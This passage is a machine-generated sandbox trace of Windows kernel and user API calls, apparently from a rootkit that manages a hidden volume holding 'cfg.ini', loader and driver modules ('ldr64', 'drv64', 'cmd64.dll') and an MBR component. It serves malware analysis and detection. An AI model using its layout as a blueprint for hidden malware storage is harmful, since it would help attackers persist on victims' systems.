FastMutex=0xfffffa80027d3898) [0124.034] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.034] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003826290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.034] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.034] KeLeaveCriticalRegion () [0124.034] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.034] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.034] KeEnterCriticalRegion () [0124.034] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.034] ExFreePoolWithTag (P=0xfffffa8003bc6460, Tag=0x0) [0124.034] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.034] KeLeaveCriticalRegion () [0124.034] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.034] ReleaseMutex (hMutex=0xf0) returned 1 [0124.034] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.034] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.034] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.034] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.034] KeEnterCriticalRegion () [0124.034] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.034] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.034] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.034] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.034] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.034] IdePortDispatch () returned 0x103 [0124.034] KeWaitForMutexObject () returned 0x0 [0124.035] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.035] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.035] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.035] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.035] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.035] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.035] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.035] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.035] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.035] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.035] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.035] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.035] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.035] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.035] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.035] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.035] KeLeaveCriticalRegion () [0124.035] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.035] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.035] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.035] KeEnterCriticalRegion () [0124.035] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.035] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.035] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.035] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.035] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.035] IdePortDispatch () returned 0x103 [0124.035] KeWaitForMutexObject () returned 0x0 [0124.035] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.036] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.036] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.036] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.036] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.036] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.036] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.036] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.036] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.036] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.036] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.036] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.036] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.036] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.036] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.036] KeLeaveCriticalRegion () [0124.036] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.036] ReleaseMutex (hMutex=0x100) returned 1 [0124.036] Sleep (dwMilliseconds=0x2bf20) [0124.045] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d22cdd0, dwHighDateTime=0x1d24fa4)) [0124.045] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.045] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.045] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.045] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.045] KeEnterCriticalRegion () [0124.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.045] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.045] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.045] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.045] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.045] IdePortDispatch () returned 0x103 [0124.045] KeWaitForMutexObject () returned 0x0 [0124.045] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.045] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.045] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.045] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.045] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.045] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed240 [0124.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.045] KeLeaveCriticalRegion () [0124.045] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.045] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.046] KeEnterCriticalRegion () [0124.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.046] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.046] KeLeaveCriticalRegion () [0124.046] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.046] KeEnterCriticalRegion () [0124.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.046] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.046] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.046] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.046] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.046] IdePortDispatch () returned 0x103 [0124.046] KeWaitForMutexObject () returned 0x0 [0124.046] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.046] KeLeaveCriticalRegion () [0124.046] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.046] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.046] KeEnterCriticalRegion () [0124.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.046] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d0000 [0124.046] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.046] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.046] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.046] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.046] IdePortDispatch () returned 0x103 [0124.047] KeWaitForMutexObject () returned 0x0 [0124.047] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.047] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.047] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.047] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.047] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.047] IdePortDispatch () returned 0x103 [0124.047] KeWaitForMutexObject () returned 0x0 [0124.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.047] KeLeaveCriticalRegion () [0124.047] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.048] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.048] KeEnterCriticalRegion () [0124.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.048] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.048] KeLeaveCriticalRegion () [0124.048] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.048] KeEnterCriticalRegion () [0124.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.048] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.048] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003826290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.048] KeLeaveCriticalRegion () [0124.048] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.048] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.048] KeEnterCriticalRegion () [0124.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.048] ExFreePoolWithTag (P=0xfffffa8003bed240, Tag=0x0) [0124.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.048] KeLeaveCriticalRegion () [0124.048] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.048] ReleaseMutex (hMutex=0xf0) returned 1 [0124.048] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.048] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.048] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.048] KeEnterCriticalRegion () [0124.049] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.049] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.049] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.049] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.049] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.049] IdePortDispatch () returned 0x103 [0124.049] KeWaitForMutexObject () returned 0x0 [0124.049] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.049] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.049] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.049] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.049] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.049] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beb3f0 [0124.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.049] KeLeaveCriticalRegion () [0124.049] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.049] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.049] KeEnterCriticalRegion () [0124.049] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.049] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.049] KeLeaveCriticalRegion () [0124.049] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.049] KeEnterCriticalRegion () [0124.049] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.049] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.049] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.049] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.049] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.049] IdePortDispatch () returned 0x103 [0124.050] KeWaitForMutexObject () returned 0x0 [0124.050] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.050] KeLeaveCriticalRegion () [0124.050] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.051] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.051] KeEnterCriticalRegion () [0124.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.051] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d1000 [0124.051] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.051] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.051] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.051] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.051] IdePortDispatch () returned 0x103 [0124.051] KeWaitForMutexObject () returned 0x0 [0124.051] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.051] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.051] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.051] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.051] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.051] IdePortDispatch () returned 0x103 [0124.051] KeWaitForMutexObject () returned 0x0 [0124.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.051] KeLeaveCriticalRegion () [0124.051] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.052] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.052] KeEnterCriticalRegion () [0124.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.052] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.052] KeLeaveCriticalRegion () [0124.052] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.052] KeEnterCriticalRegion () [0124.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.052] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.052] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be24c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.052] KeLeaveCriticalRegion () [0124.052] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.052] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.052] KeEnterCriticalRegion () [0124.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.052] ExFreePoolWithTag (P=0xfffffa8003beb3f0, Tag=0x0) [0124.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.053] KeLeaveCriticalRegion () [0124.053] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.053] ReleaseMutex (hMutex=0xf0) returned 1 [0124.053] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.053] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.053] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.053] KeEnterCriticalRegion () [0124.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.053] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.053] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.053] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.053] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.053] IdePortDispatch () returned 0x103 [0124.053] KeWaitForMutexObject () returned 0x0 [0124.053] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.053] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.053] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.053] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.053] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.053] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003befaf0 [0124.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.053] KeLeaveCriticalRegion () [0124.053] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.053] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.053] KeEnterCriticalRegion () [0124.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.054] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.054] KeLeaveCriticalRegion () [0124.054] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.054] KeEnterCriticalRegion () [0124.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.054] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.054] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.054] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.054] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.054] IdePortDispatch () returned 0x103 [0124.054] KeWaitForMutexObject () returned 0x0 [0124.054] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.054] 